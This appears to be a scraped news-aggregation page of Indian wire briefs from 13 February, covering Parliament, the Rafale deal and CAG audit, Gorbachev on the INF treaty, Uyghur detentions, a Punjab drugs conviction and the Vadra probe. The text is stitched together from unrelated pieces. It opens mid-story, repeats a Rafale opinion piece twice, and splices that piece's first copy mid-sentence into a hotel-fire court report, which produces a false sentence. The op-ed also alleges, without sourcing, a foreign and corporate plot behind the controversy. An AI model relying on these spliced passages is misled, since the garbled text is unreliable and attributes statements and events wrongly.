Lauding the effective floor coordination between the Congress and non-BJP parties, Saikia said the Modi government was unable to muster the courage to table the Bill in the Rajya Sabha on the last day of the Budget session.New Delhi, Feb 13 : UPA Chairperson Sonia Gandhi on Wednesday said that she did not want to be the Prime Minister.

She made the one-line intervention in the Lok Sabha when former Prime Minister and JD(S) member H.D. Deve Gowda said that she could have become Prime Minister during the UPA term between 2004 and 2014.

Making his valedictory speech in the 16th Lok Sabha, Gowda said he has watched Sonia Gandhi's performance.

"Some people are debating her citizenship. In the last 30 years, this was not an issue. But some people have raised the issue that on one occasion she was unable to become the Prime Minister," he said.

Gandhi interjected: "I did not want to (be Prime Minister)."

Gowda said: "In a way, you decided not to become Prime Minister, but I remember an incident when Vajpayee sat on a day-long 'Prayashchit Satyagrah' near the Rashtrapati Bhavan."

"On that occasion, I had said in Bhopal that 'Vajpayee is a great man but why should he hold a satyagraha for a day?' Then the press people had asked me, 'are you asking for his resignation?'

"I told then, why not? Then they asked who will be the next Prime Minister? Why not Madam Sonia Gandhi who was the Leader of Opposition? What is the citizenship issue? I myself raised the issue in Bhopal. That is what I am saying."

Gandhi then acknowledged Gowda's clarification.Los Angeles, Feb 13 : Veteran actor Richard Gere has once again become a father at the age of 69 after his wife Alejandra Silva gave birth to a boy.

Gere and Silva, 35, were blessed with a son on Monday, reports cnn.com.

This is the first child for the couple but they both have children from previous relationships.

Gere has a 19-year-old son from his marriage to actress Carey Lowell and Silva has a son with her former husband Govind Friedland.

Last year, Silva had shared the news of her pregnancy by posting a photograph of herself with Gere seeking blessings from Tibetan spiritual leader the Dalai Lama.New Delhi, Feb 13 : Reliance Industries Ltd (RIL) Chairman Mukesh Ambani and Union Cabinet Minister Ravi Shankar Prasad are among Indians who have enrolled for e-Residency programme initiated by Estonia, said Riho Kruuv, Ambassador of Estonia to India here on Wednesday.

Launched in 2014, Estonia's e-Residency programme saw enrollment of over 2,174 Indians out of which 1,062 individuals applied in 2018.

The embassy said that around 286 new Estonian companies were created by Indians in the process majorly from startups and other freelancers working on sectors such as web designing, software programming, content writing and others.

"Reliance Industries has set up a research centre for Jio in Estonia which aims at understanding digital society of Estonia and the benefit it can offer to India and Indians," Kruuv stated.

The Ambassador also noted that Estonia is the world's first country to introduce an e-Residency programme that offers individual access to a government-issued digital ID, adding that it enables the opening of a global European Union (EU) company fully online while working from India.Moscow, Feb 13 : Former Soviet leader Mikhail S Gorbachev called on Washington and Moscow to resume nuclear arms talks, warning of dangers of not doing so after President Donald Trump confirmed the USA plan to leave a key Cold War-era treaty.

Gorbachev (President of the USSR in 1990-1991) in an article on Wednesday for Russian newspaper Vedomosti said this after the US decision to withdraw from the Intermediate-Range Nuclear Forces Treaty, he had co-signed in 1987 with then US President Ronald Reagan.

"I regret that the tough domestic situation, which has been in place in the US over the recent years, has in fact resulted in disruption of dialogue between our two countries on all topics, including the nuclear weapons. It is time to get over the difficulties between the (US) political parties and start a serious conversation.

"I am sure that Russia will be ready for it", Gorbachev wrote in his column.

The treaty aimed to eliminate short-range missiles capable of striking up to 1,000 km and intermediate missiles capable of hitting up to 5,500 km.

Gorbachev said the US wanted to withdraw from the treaty to "get rid of all the restrictions in the arms sphere and gain absolute military supremacy... to impose its will globally", Sputnik news agency reported.

Calling it "an illusory goal, an impossible hope", he said the "hegemony of one country in the modern world was impossible".

Expressing concern over "dangerous, destructive tendencies in world politics", Gorbachev appealed to US Congress members to solve the impasse. "Nuclear war is unacceptable, there can be no winners. The treaty was a first step, followed by others (such as) the Strategic Arms Reduction Treaty (START) that had reduced the number of nuclear weapons in Russia and the US by more than 80 per cent," he said.

The former Soviet President said the de-escalation process not only affected nuclear weapons but also elimination of chemical weapons, while Eastern and Western European countries agreed on a radical reduction of armed forces and weapons.

This was "the peace dividend" that everyone, Europe especially, obtained with the end of the Cold War, he said.

Gorbachev defended Russia's standpoint as "an unambiguous position in favour of preserving the treaty". He also noted the US "refused to ratify the Nuclear Test Ban Treaty" and due to this 2002 unilateral decision, the Treaty on the Restriction of Anti-Ballistic Missile Systems (ABM) was terminated.

Warning the US, he said result of the current destructive turn would bring something completely different: "The destabilisation of the global strategic situation, a new arms race, increased chaos and unpredictability of world politics."

Gorbachev, meanwhile, welcomed European efforts to save the treaty as the EU called on the US "to ponder the consequences of withdrawing from the treaty for its own security, the security of its allies and the whole world".New Delhi, Feb 13 : US Commerce Secretary Wilbur Ross' three-day visit to India starting Wednesday comes at a crucial time when American giants Walmart and Amazon are facing fresh difficulties after changes in the country's FDI norms for the e-commerce segment.

Sources said the US Secretary is likely to exert pressure on his Indian counterpart to make changes to the country's e-commerce policy in favour of the American giants Amazon and Walmart. The US retail giant Walmart is the majority stakeholder in the e-retail major Flipkart.

The new norms which prohibit the e-tailers from selling products of companies in which they have stakes came into effect on February 1 despite both Amazon and Walmart seeking a six-month delay in their implementation.

These norms released in December also prohibit the online retailers from mandating any company to sell its products exclusively on its platform. The new policy also noted that the online retail firms will not directly or indirectly influence sale price of goods and services and will maintain a level-playing field.

Beginning Thursday, Ross would co-chair the India-US CEO Forum with the Union Minister of Commerce and Industry Suresh Prabhu.

Announcing the delegation of 20 American CEOs accompanying him, Ross said: "The US-India CEO Forum is critical to the fruitful commercial relationship and strong economic ties between our two great nations."

"The incoming US CEOs will bring fresh perspectives to the Forum and help us consider new opportunities to further deepen our cooperation," he added.

The private sector American members or chiefs of the forum include CEO MasterCard Ajay Banga, Cisco System Chairman John Chambers, Qualcomm CEO Steve Mollenkopf and CEO, Hewlett Packard Enterprise Antonio Neri.

MasterCard has had its share of discomfort in the country of late with the Reserve Bank of India's (RBI) data localisation norms.

The Reserve Bank of India in April issued a new regulation, which came into effect from October 16, requiring payments companies to store all information about transactions involving Indians solely on computers in the country.

Both the major payment service providers MasterCard and Visa had initially resisted the move and sought an extension in the implementation of norms. They have, however, toed the RBI's line and have complied.

Twitter CEO Jack Dorsey is also grabbing headlines as he has been summoned by a parliamentary panel.

The US Commerce Secretary's visit is also likely to feature talks on the protectionist measures and ongoing trade tensions between the two countries.

Industry participants feel Ross's visit should also be an opportunity for the Indian government to discuss trade and tariff issues with the US administration.New Delhi, Feb 13 : Referring to the findings of experts in the Indian negotiating team for the Rafale deal, Congress President Rahul Gandhi said here on Wednesday the two major claims made by the government of cheaper deal and faster delivery of aircraft stood demolished.

"The two pillars of the Narendra Modi government's defence for the aircraft deal, of cheaper deal and faster delivery, stand demolished," said Gandhi.

Gandhi also dismissed as "eyewash" the Comptroller and Auditor General (CAG) of India's report on the controversial Rs 59,000 crore Rafale deal that the price of 36 jets, for which the NDA government signed an agreement in 2016, was 2.86 per cent lower than the rates negotiated by the UPA government for 126 aircraft.

"Experts who were part of the negotiating team have said Dassault Aviation (Rafale maker) has an order backlog of 83 aircraft and with a capacity of manufacturing only 11 aircraft per year, it will take eight years to clear the backlog.

"Thus, India will get its first Rafale much later than what was scheduled in the UPA deal. Not only that, they have also pointed out the final price offered by the French is 55.6 per cent higher than the benchmark price fixed by the negotiating team," Gandhi said.

Dismissing the CAG report, Gandhi said even the national auditor has admitted that the cost of India-specific enhancements for 126 aircraft with transfer of technology was cheaper than what is under the new deal without transfer of technology.

"Under the UPA deal, the India-specific enhancements along with transfer of technology was 11.11 million euro per aircraft whereas under the Modi deal, the cost for the same, that too without transfer of technology, is 36.11 million euro per aircraft. This is where all the corruption has happened," alleged Gandhi.

Reiterating his allegation of Modi's personal culpability in the deal, Gandhi said, "The Rafale issue has cut deep into the minds of the people, so much so that whenever someone says 'chowkidar,' the next words that follow are 'chor hai'."

"From corruption to procedural violation to divulging defence secret to his cronies, Modi has done all in the deal and one by one all the defences by his government and his ministers are getting demolished.

"The fact that the first Rafale will come to India only after Dassault clears its backlog of 83 aircraft demolishes the Modi government's claims of sacrificing the UPA deal for the purpose of emergency purchase," Gandhi remarked.Mumbai, Feb 13 : Managing Trustee of Tata Trusts R. Venkataramanan has decided to quit after completing his tenure, said an official here on Wednesday.

Venkataramanan has requested the Tata Trusts Chairman and Trustees that since he was completing five years in the post soon and was exploring other options, he should be relieved from his current responsibilities, the official said.

Accordingly, Trustees' meeting on Wednesday accepted Venkataramanan's request and he will relinquish his duties on March 31, 2019.

A committee of Trustees, comprising Tata Trusts Chairman Ratan N. Tata and Vice-Chairmen Vijay Singh and Venu Srinivasan, has been set up to oversee the operations and select a new chief executive to replace Venkataramanan.

"The Trustees placed on record the significant contribution of Venkataramanan in steering and executing the objectives of the Trusts' portfolios over the last five years. In addition to interventions through grants, Tata Trusts now also pursues large-scale programmes through direct implementation and partnerships with multiple state governments and foundations," the Tata Trusts said in a glowing tribute to the outgoing managing trustee.

Additionally, new trustees were appointed for the Sir Ratan Tata Trust. The new trustees are Noel N. Tata, Chairman of Trent Ltd and Managing Director of Tata International, and Jehangir H.C. Jehangir, who is leading the healthcare mission at the Jehangir Hospital in Pune.

Set up in 1892, the Tata Trusts is the country's oldest philanthropic organisation, engaged in areas of healthcare and nutrition, water and sanitation, education, energy, rural upliftment, urban poverty alleviation, arts, crafts and culture.Guwahati, Feb 13 : The failure to pass the Citizenship (Amendment) Bill in the Rajya Sabha on Wednesday was described as a "defeat for Assam" by Health and Finance Minister Himanta Biswa Sarma.

"It is a defeat for Assam. My party and I extended full support to the Bill. We do not have majority in the Rajya Sabha, so the Bill could not be passed. Bangladeshi Muslims will occupy 17 constituencies of Lower and Central Assam now. The people of Assam will lose their culture and language," said Sarma.

The contentious Bill is now set to lapse on June 3 when the term of the present Lok Sabha ends.Bengaluru, Feb 13 : Protests by BJP legislators on Wednesday against an attack by JD-S workers on the house of one of its MLAs in Hassan forced Assembly Speaker K.R. Ramesh Kumar to adjourn the House.

Bharatiya Janata Party (BJP) legislator from Hassan Preetham Gowda claimed Janata Dal-Secular (JD-S) workers pelted stones at his residence in Hassan earlier in the day.

BJP legislators walked towards the Chair and raised slogans against the government alleging the law and order in the state had "collapsed".

The party's state unit chief B.S. Yeddyurappa alleged that the ruling coalition partners were trying to "attack opposition leaders".

"Attempts are being made by the ruling party to intimidate the opposition leaders," he told the media.

The party has also been creating ruckus in the House demanding a judicial probe into an audio tape in which the Speaker's name figured in an alleged conversation between Yeddyurappa and JD-S legislator Naganagouda Kandakur's son Sharanagouda on February 7.

The audio tape issue has rocked the Assembly for the past two days, after the Speaker asked the government to direct an SIT probe into it while the BJP demanded a judicial inquiry.

On the Speaker's directive, Chief Minister H.D. Kumaraswamy on Monday ordered a SIT probe into the audio tape he released on February 8 to expose Yeddyurappa's alleged attempt to lure Kandakur join the BJP.

The Speaker also wanted the inquiry report in the next 15 days.

The BJP, on the other hand, has been asserting that Yeddyurappa's voice in the audio tape was "doctored" and a SIT probe would lead to a witch-hunt on its members.

Amid the protests by the BJP in the House, the Karnataka Budget presented by Kumaraswamy on February 8 is yet to be discussed.

Anti-government protests by the BJP have marred the Budget session, which began on February 6, when a joint address by Governor Vajubhai Vala had to be cut short due to ruckus by the party against the ruling coalition.Naypyidaw, Feb 13 : The Myanmar police fired rubber bullets and used tear gas and water cannon to disperse minority rights activists protesting against the installation of a new statue of General Aung San, father of State Counsellor Aung San Suu Kyi and considered the architect of modern Myanmar.

Aung San, who represented the Bamar majority community, is considered the hero of Myanmar's independence struggle against the British and a pioneer in establishing a federal state with equal rights for all ethnicities, a promise that according to minorities was never fulfilled.

In late January, the installation of a statue of Aung San on horseback in Loikaw, capital of the western Kayah province, mostly inhabited by the Karenni minority community, led to protests that spilled into February, Efe news reported.

On Tuesday, the Myanmar police had to use teargas and rubber bullets to disperse thousands of protesters, who had gathered near the new statue in Loikaw to protest.

Several protesters were injured during the demonstration that took place on Union Day, the anniversary of Aung San signing an agreement with leaders of three ethnic minorities in 1947, which was key to the establishment of an independent Myanmar.

The military junta, which ruled Myanmar between 1988 and 2011, had almost entirely erased official homage to Aung San - who had also founded the Myanmar military and was assassinated by political rivals just months after independence - since his daughter Suu Kyi was leading the opposition to the military dictatorship.

However, since Suu Kyi came to power, the figure of her father has again occupied centrestage, with his image expected to be printed on Myanmar's currency notes for the first time in three decades.

Members of some minority groups perceive this as a "threat" to their own cultural roots and figures.

"The government should consult the local ethnic people before erecting statues. We don't hate Aung San, but we should have the opportunity to raise statues to honour our own ethnic heroes," Ko De De, spokesperson of the Union of Karenni State Youth, told Efe.

In mid-2018, the face of an Aung San statue was stained with green paint in Myitkyina, capital of the southern Kachin State, while in the central Sagaing region, Naga ethnic groups had also protested against a monument for the general.

Ethnic minorities in Myanmar account for more than 30 per cent of its 53 million population and have been for years demanding greater autonomy under the federal structure.

The Myanmar military has been fighting a civil war with dozens of minority armed groups since independence. Although Suu Kyi has tried to resolve the conflicts through the peace process, there has not been much progress.

Myanmar has been going through a democratic transition since 2011, after almost half a century of military rule.Beijing, Feb 13 : Ethnic Uyghurs living in exile have launched their version of the #MeToo social media campaign, demanding information on relatives detained by China at the so-called vocational training camps in the Xinjiang region.

The #MeTooUyghur movement by the Uyghur diaspora demanding video proofs that their captive friends and relatives were alive came after China released a clip of a prominent musician, Abdurehim Heyit, detained in one of these camps, showing him in good health amid reports of his death.

The video, in which the detained musician says he was "never" abused, was apparently aimed at countering criticism of China's treatment of an estimated one million detainees at the camps in Xinjiang, home to 10 million Uyghurs with 45 per cent Muslim population, Efe news reported.

"Chinese authority responded to Abdurehim Heyt's scandal by releasing a video to show he is alive. Are millions of detainees too alive," Halmurat Harri, a Uyghur activist tweeted, hashtaging MeTooUyghur.

The #MeTooUyghur, inspired by the #MeToo movement against sexual harassment, was launched on Tuesday across social media websites, including Twitter and Facebook, both banned in China.

Harri, a Finland-based human rights activist, whose parents are detained in what he calls "concentration camps", demanded to know about his father, mother and others held by the Chinese authorities.

He posted a collage of 72 faces, apparently intellectuals who have been allegedly detained at these internment camps, and asked China to show their videos if they are alive.

Others also posted messages and photographs of many detained during the campaign against radicalisation of population in the traditionally Muslim-dominated region.

However, Beijing didn't answer to any of these petitions. "We have a very big population. Does that mean we will have to provide video clip for everyone," Foreign Ministry spokesperson Hua Chunying said.

According to international human rights organisations, Uyghurs, Kazakhs and other Muslim minorities were being detained in these camps on charges like refusing to give DNA samples, speaking in a minority language or arguing with government officials.

Hua claimed the western media was propagating "false information" about these centres. The Uyghurs in these camps were trained to find dignified jobs, she added.

Her claims, however, contradicted testimonies of those who were earlier detained in these centres, where they had to face torture, linguistic and cultural indoctrination and abuse.

"Uyghurs have overcome their fear to speak up about their missing relatives in the Xinjiang Uighur Autonomous Region... We hope more people will come out to counter the Chinese government's narrative about 'vocational training' in camps," said Amnesty International's Patrick Poon.

Earlier this week, China denied Turkey's allegations that nearly one million Uyghur Muslims were subjected to torture and political brainwashing in concentration camps.

"We believe when more people are willing to talk, more countries will raise their concern. Ordinary people's testimonies are strongest evidence about the rampant crackdown targeted on the ethnic groups," said Poon.New Delhi, Feb 13 : In a relief to the government ahead of Lok Sabha polls, the much-awaited Comptroller and Auditor General (CAG) has found that the deal signed by the NDA regime in 2016 for 36 fighter jets was 2.86 per cent lower than the price negotiated by the UPA for 126 aircraft but felt that the present capital acquisition system is unlikely to effectively support the IAF.

Without going into the controversial offset clause of the Medium Multi Role Combat Aircraft (MMRCA) deal, the report examined the pricing but did not disclose the actual price of the 36 Rafale fighter jets contracted by the NDA government. The prices have been redacted in the audit report based on the insistence of the Defence Ministry citing the Indo-French agreement of 2008 and the provisions of Inter-Government Agreement (IGA).

The Rafale deal is believed to be of the order of Rs 59,000 crore.

Against the backdrop of the Congress and other opposition parties attacking the government accusing it of corruption in the Rafale deal, the relief from the CAG comes on top of the Supreme Court clean cheat given last year.

"Overall, it may be seen that as against the Aligned Price as estimated by Audit of 'CV' million Euro, the contract was concluded for 'U' million Euro i.e. 2.86 per cent lower than the Audit Aligned Price," the CAG said in its report on "Capital Acquisition on Indian Air Force" tabled in Parliament on Wednesday.

The report contained audit findings relating to the acquisition of MMCRA through an IGA with the government of France. "This includes examination of the pricing."

Going into the methodology of the price comparison, the national auditor said the price offered by M/S Dassault Aviation in April 2008 against the Request For Proposal (RFP) of 2007 was a market discovered price and based on competitive bidding.

The price offer of 2007 had two distinct packages: pricing for 18 flyaway aircraft package and pricing for Transfer of Technology (ToT) package for 108 aircraft which were to be licensed produced in India.

The offer of 2015 on the other hand, the CAG said, was only for 36 flyaway fighter aircraft. The acquisition and price bids of 2007 and 2015 were very different as the latter included the price of ToT for license production of 108 aircraft in India which was 77.8 per cent of the total price bid of 2007.

In a comparative analysis of 2007 and 2015 price bids, the CAG said: "The Aligned Price worked out by INT was 'U1' million Euro while the Aligned Price as assessed by the audit was 'CV' million Euro which was about 1.23 per cent lower than the INT aligned cost."

This was the price at which the 2015 contract should have been signed if the prices of 2007 and 2015 were considered at par. But as against this, the contract was signed in 2016 for 'U' million Euro which was 2.86 per cent lower than the Audit's aligned price.

The difference between the Aligned Price estimated by INT and of Audit could be attributed to inconsistent price variation factors adopted by INT, alignment of the quantities/scope of the two offers and the difficulties of the alignment itself, the CAG report said.

The contract consisted of six different packages - Flyaway aircraft package, Maintenance Package, Indian Specific Enhancements, Weapons Package, Associated Services and Simulator Package. There were a total of 14 items under these six packages.

Item-wise analysis of prices showed that the contracted prices of seven items were higher than the aligned price, three were same and four were lower. Also the price of elements could not be compared because the structure/format of Dassault bid of 2007 and offer of 2015 were different, it said.

On Weapon Package, the CAG said after alignment of scope of the aligned price worked out to 'WP1' Million Euro and the contract price was 'WP2' Million Euro, a saving of 1.05 per cent.

On the Basic Aircraft package, the Defence Ministry contended that the aligned price worked out by INT and Audit in the case of basic aircraft was the same but argued that the negotiated price of 36 flyaway aircraft was 9 per cent lesser than the price offered for the aircraft in 2007.

However, the CAG said: "There is no difference between the bid of 2007 as escalated by INT with actual escalation factors, and the negotiated cost of the 2015 offer, for the same aircraft."

The national auditor observed that overall the capital acquisition system, as it exists, is unlikely to effectively support the Indian Air Force (IAF) in its operational preparedness and modernization and called for revisiting the entire process of acquisition to simplify it.

It recommended that the IAF should improve its process of formation of Air Staff Qualitative Requirements (ASQR) to ensure that they correctly reflect the user's functional parameters.

Audit is of the view that the present Lowest Price Technically Acceptable (LPTA) method of bid evaluation wherein the contract is awarded to the lowest priced offer which is technically acceptable needs reconsideration.

For procuring highly technical products, use of the Best Value method or a quantitative assessment method may ensure better value for money.

The CAG said Audit examined the system of capital acquisition of air assets to assess its ability to meet the required capability at the optimum price and the given time frame.

To acquire the right product at the right price, it is essential that the qualitative requirement truly reflects the user's functional need; maximum possible competition is generated; and technical and price evaluation is done objectively.

Audit noted that the IAF did not define the ASQRs properly. As a result, none of the vendors could fully meet the ASQRs which were changed repeatedly during the procurement process.

"This created difficulties during technical and price evaluation and affected the integrity of competitive tendering which was also one of the major reasons for delays in acquisition process.

"The objectivity, the equality and consistency of the technical evaluation process was not evident in the Technical Evaluation Report," the CAG said.

The national auditor also noted that the vendor response to solicitation of offers was low, which restricted competition. The number of vendors who responded to the Request for Proposal (RFP) was far less than the number of vendors who were invited to bid.

The CAG said the Defence Ministry should revisit the entire process of acquisition to weed out redundant activities and simply the process. The acquisition wing, headed by Director General (Acquisition), was envisaged as an integrated defence organisation.

"In reality, this has perhaps not happened, with bulk of the acquisition related activities still carried out in Services Headquarters," the CAG said.

It said the Ministry faced difficulties in realistically estimating the benchmark price, making it difficult to establish the reasonability of price.

Before commencing negotiations, the INT estimated the benchmark price on a firm and fixed cost basis keeping in view the expected discounts, market study, Rafale sale price from annual reports of Dassault etc as 'R' Million Euro.

This was about 57 per cent lower than the initial offer of the French team and 46 per cent lower than the non-firm and fixed offer of 'T' Million Euro.

"Audit noted that as the INT was already aware of both the previous unrealistic benchmark pricing as well the commercial offer, they could have estimated the benchmark price more realistically. Audit also noted that in the process of procuring MMRCA, this was the second time (first time in November 2011) that an unrealistically low benchmark prices were fixed," the report said.

The CAG also found that there was an improvement of one month in the delivery schedule of the 2016 contract for 36 Rafale fighter jets in flyaway condition than the one negotiated by the UPA government.

According to the original delivery schedule offered by Dassault in 2007, first 18 flyaway aircraft were to be delivered between 37 and 50 months of the signing of the contract. The next 18, which were to be license produced in HAL, were to be delivered from 49th to 72nd months of the signing of the contract.

During negotiations, INT conveyed to the French side that it expected the delivery of the first batch of 18 Rafale aircraft in 24 months after the signing of the Inter Government Agreement (IGA); and next batch of 18 aircraft in 36 months after the signing of the IGA.

However, the delivery schedule finally offered by the French side was 18 aircraft by 36 to 53 months after the signing of the IGA and the remaining 18 to be delivered by 67 months of the signing of IGA. This was better than the delivery schedule of 2007 by five months.

"However, Audit noted that as against the delivery period of 72 months in the earlier offer, the contracted delivery schedule for 36 Rafale aircraft was actually 71 months. The Indian Specific Enhancements (ISE) on the first aircraft would be completed by T0 plus 63 months and integration on the next 35 aircraft would be completed in eight months. Thus, there was an improvement of one month in the delivery schedule of the 2016 contract," the CAG report said.

The CAG also found flaws in the Defence Ministry's benchmark price estimates.New Delhi, Feb 13 : The ongoing debate on the purchase of 36 Rafale aircraft has implications beyond the political slugfest between the Congress and BJP.

A much bigger collateral damage has been security of the country as long decision-making process in defence procurement is bound to get longer as most in bureaucracy and military will be unwilling to stick their neck out. This will mean critical procurements such as submarines, fighter aircraft, armoured vehicles and helicopters will get further delayed.

Also, there is damage to India's reputation as a reliable 'buyer', honouring its contractual commitments, with Rahul Gandhi openly threatening to send the Prime Minister to jail if the Congress is elected in the next elections and also issuing not-so-veiled threats to the officials.

The third casualty is the relationship with France, a country which has stood by India even during the most difficult times, including post-Pokhran when we were placed under sanctions by the US and most European nations.

It is important to analyse if this is a mere erosion in the political dialogue content between a desperate Rahul Gandhi, who aspires to be the next prime minister and the incumbent prime minister.

Clearly, the way the Rafale controversy has remained in the limelight through a well-orchestrated plan, deft media management and selective leaks is an indication that there are professionals at work.

The main player obviously is the US, still seething from the rejection of both its frontline fighter aircraft - F16 and F18 -- in the medium multi-role combat aircraft (MMRCA) competition. The relationship between President Donald Trump and French President Emmanuel Macron is far from cordial. The US will be happy to see France losing out in the Indian market and thereby weakening the French economy and its military might.

At the global corporate level, both Lockheed Martin and Boeing have a big clout with the Administration and they want the US government to do everything possible to curtail chances of Dassault for future fighter competition till Friday.

At least 17 people were killed when a major fire engulfed the hotel in the commercial-cum-residential district of Karol Bagh before dawn on Tuesday.

The court noted that the tragedy took place due to non-compliance of various norms of the Delhi Fire Service.

Police told the court that the hotel ran an illegal kitchen on the roof top and in the basement without permission.

The police said the accused were needed to be in custody to recover the guest register and to inquire about the sequence of the incident.

The court has sought a report from the police of the area asking it to mention the steps taken by them to prevent similar incidents in hotels.

Police have registered a case against the hotel owner Subhendu Goyal, who is absconding. He has been charged with culpable homicide not amounting to murder among others.Mohali : , Feb 13 (IANS) Former international wrestler and Arjuna awardee Jagdish Bhola was on Wednesday convicted and sentenced by a special CBI court here in a multi-crore drugs racket, termed as Punjab's biggest, busted in 2013.

Bhola was sentenced to imprisonment for 12, 10 and two years in the three cases in which he was convicted earlier on Wednesday by the special Central Bureau of Investigation (CBI) court in Mohali, adjoining Chandigarh.

International drugs dealer Anoop Singh Kahlon and industrialist Jagjit Singh Chahal were also convicted.

Bhola had been a Deputy Superintendent of Police in Punjab Police but was dismissed from service in 2012 after his links with the drugs racket were revealed. He was arrested in November 2013 in connection with a Rs 700 crore drugs racket. Subsequent police action against the drug mafia led to the busting of a Rs 6,000 crore drugs racket.

The drugs racket was later investigated by the CBI while the Enforcement Directorate carried out a separate probe.

The multi-crore drugs racket became controversial in the last few years with the names of politicians, including ministers and legislators, industrialists and police officers being linked to the racket.

Bhola and other 49 accused were produced before the CBI court for the verdict in the case on Wednesday and several of them were convicted. There were 74 accused in the drugs case.

An international wrestler-turned-police officer-turned-drugs kingpin, Bhola was, however, acquitted in three other drugs cases against him. His lawyer said that they will challenge the conviction in the Punjab and Haryana High Court.

Bhola was a key figure in the drug network which was diverting chemicals meant for medicinal purposes to illegal factories in neighbouring Himachal Pradesh that manufactured synthetic drugs like 'Ice' and other party circuit drugs and was supplying them to the international market in Europe, Canada and United States.

The Punjab Police, in March 2013, had claimed that international boxers Ram Singh and Vijender Singh took heroin from Canada-based drug dealers Kahlon and Rocky for personal consumption between December 2012 and February 2013.

While Ram Singh was arrested by the Punjab Police in April 2013, Vijender Singh, who was an under-training DSP in Haryana Police at that time, was questioned in this regard. The police had alleged that Vijender Singh consumed heroin 12 times. He, however, got a clean chit in the matter later.

Money from the multi-billion rupee racket of synthetic drugs was used by those involved in the illegal trade to lavish lifestyle, including buying VIP registration numbers for high-end cars at government auctions. Chahal's pharmaceutical units in Himachal Pradesh's Baddi industrial township, 35 km from here, were raided by the police and precursor chemicals like ephedrine and pseudoephedrine worth Rs 925 crore in the international market were recovered.Jaipur, Feb 13 : The Enforcement Directorate (ED) on Wednesday confronted Robert Vadra, brother-in-law of Congress President Rahul Gandhi, in a money laundering case involving the Bikaner land deal case about the loan given by the Bhushan Steel and Power to a French firm to buy his company's land.

An ED source said that Vadra was asked questions about the loans given by the Bhushan Steel and Power to the Mumbai-based PR Fonroche, a joint venture between PR Clean Energy and French Fonroche Energy, which bought Vadra firm's lands at very high rates.

Vadra's Skylight Hospitality bought this plot in Kolayat in March 2010.

According to the ED officials, Skylight Hospitality had purchased 69.55 hectares for Rs 72 lakh and then sold it to Allegeny Finlease for Rs 5.15 crore, thus making a profit of Rs 4.43 crore.

In May 2012, it sold off another 29.36 hectares in Kolayat for nearly Rs 2 crore to a French joint venture without adding any value to it.

According to the ED officials, Allegeny bought 69.5 hectares, Sachchiya 17.6 hectares and VCB Trading 53.8 hectares from the three Vadra companies Sky Light Hospitality, Sky Light Realty and Blue Breeze Trading in Bikaner's Kolayat village.

The remaining land was bought by PR Fonroche.

An ED source said the loan which the Bhushan Power and Steel Ltd gave to a company that bought land owned by Skylight Hospitality at seven times higher than the acquisition cost.

The agency had registered a criminal case under the Money Laundering Act in 2015, taking cognizance of the case filed by the Rajasthan police after forgery allegations.

The agency had earlier issued notices to Skylight Hospitality but had not mentioned Robert Vadra's name or any company linked to him in its FIR.

Vadra, along with his 75-year-old mother Maureen Vadra has been questioned by ED for over eight hours on Tuesday.

The agency had earlier issued notices to Skylight Hospitality but had not mentioned Vadra's name or any company linked to him in its FIR.

According to the ED, during investigation it found that Allegeny Finlease as a company was "not involved" in any "real business activities" and many of its shareholders were found to be dummy or non-existent.

The government had cancelled the mutation (transfer of land) of 374.44 hectares of land after allotments were found to have been allegedly made in the names of "illegal private persons".

Revenue officials had said in the complaint that government land in 34 villages of Bikaner that was meant to be used for expanding the Army's firing range was "grabbed" by the land mafia by preparing "forged and fabricated documents" in connivance with government officials.

ED suspects that a huge amount of money was laundered in this case by people buying land at cheaper rates through forged documents.

Last week, Vadra was questioned for over 24 hours for three days -- Wednesday, Thursday and Satrurday in a separate money laundering case.New Delhi, Feb 13 : The ongoing debate on the purchase of 36 Rafale aircraft has implications beyond the political slugfest between the Congress and BJP.

A much bigger collateral damage has been security of the country as long decision-making process in defence procurement is bound to get longer as most in bureaucracy and military will be unwilling to stick their neck out. This will mean critical procurements such as submarines, fighter aircraft, armoured vehicles and helicopters will get further delayed.

Also, there is damage to India's reputation as a reliable 'buyer', honouring its contractual commitments, with Rahul Gandhi openly threatening to send the Prime Minister to jail if the Congress is elected in the next elections and also issuing not-so-veiled threats to the officials.

The third casualty is the relationship with France, a country which has stood by India even during the most difficult times, including post-Pokhran when we were placed under sanctions by the US and most European nations.

It is important to analyse if this is a mere erosion in the political dialogue content between a desperate Rahul Gandhi, who aspires to be the next prime minister and the incumbent prime minister.

Clearly, the way the Rafale controversy has remained in the limelight through a well-orchestrated plan, deft media management and selective leaks is an indication that there are professionals at work.

The main player obviously is the US, still seething from the rejection of both its frontline fighter aircraft - F16 and F18 -- in the medium multi-role combat aircraft (MMRCA) competition. The relationship between President Donald Trump and French President Emmanuel Macron is far from cordial. The US will be happy to see France losing out in the Indian market and thereby weakening the French economy and its military might.

At the global corporate level, both Lockheed Martin and Boeing have a big clout with the Administration and they want the US government to do everything possible to curtail chances of Dassault for future fighter competition for the Indian Air Force and Navy. Particularly, for Boeing with F18 getting phased out, if there are no new orders from India, it will be without a fighter aircraft in its portfolio. Even the US government will want Boeing fighter line alive so as to not allow a monopoly to Lockheed Martin.

Equally important, one cannot overlook the corporate rivalry angle in India. Tata is aligned with Lockheed Martin, Boeing is working with Tata and Mahindra besides HAL. Both Tata and Mahindra will benefit from the selection of a US aircraft. Even Adani, the new entrant in the defence sector, with a tie-up with SAAB for Gripen has US industry as a major beneficiary, with nearly 50 per cent US content. Thus for Tata, Mahindra and Adani, it is a joint fight against Reliance partnering with Dassault.

Airbus is another player behind the scenes. Airbus is under investigation for multiple deals in India - both military and civil -- during the earlier UPA regime. That Airbus has close proximity to the Congress party through Deepak Talwar, Sanjay Bhandari and Robert Vadara is well known. Not many are aware that Airbus is a big stakeholder in Eurofighter which lost out in the MMRCA competition to Dassault.

In Eurofighter, Airbus share holding is 46 per cent, whereas Leonardo holds 21 per cent and BAE Systems the remaining 33 per cent stake. Therefore, the selective leak of internal email from Airbus is not a mere coincidence.

Eurofighter was willing to go to any extent to get the Rafale deal cancelled. So much so that hours before the Cabinet Committee on Security (CCS) approved the deal for 36 Rafale jets, Congress Member of Parliament Milind Deora and Deepak Parekh, Chairman of BAE India, along with a very senior BAE official met the then President Pranab Mukherjee, asking him to intervene. Pranab Mukherjee, an ex-Defence Minister himself, chose the wiser path by not allowing the office of the President to become a battle ground for corporate war.

This will be a big challenge for the new government in the next four months. To restore India's position as a strategic partner and responsible buyer, while keeping the national security requirements well removed from politicking.

Only time will tell if we can reclaim the lost advantage!Mumbai, Feb 13 : Actor Kartik Aaryan says there is no special person in his life and he will be celebrating Valentine's Day with his mother.

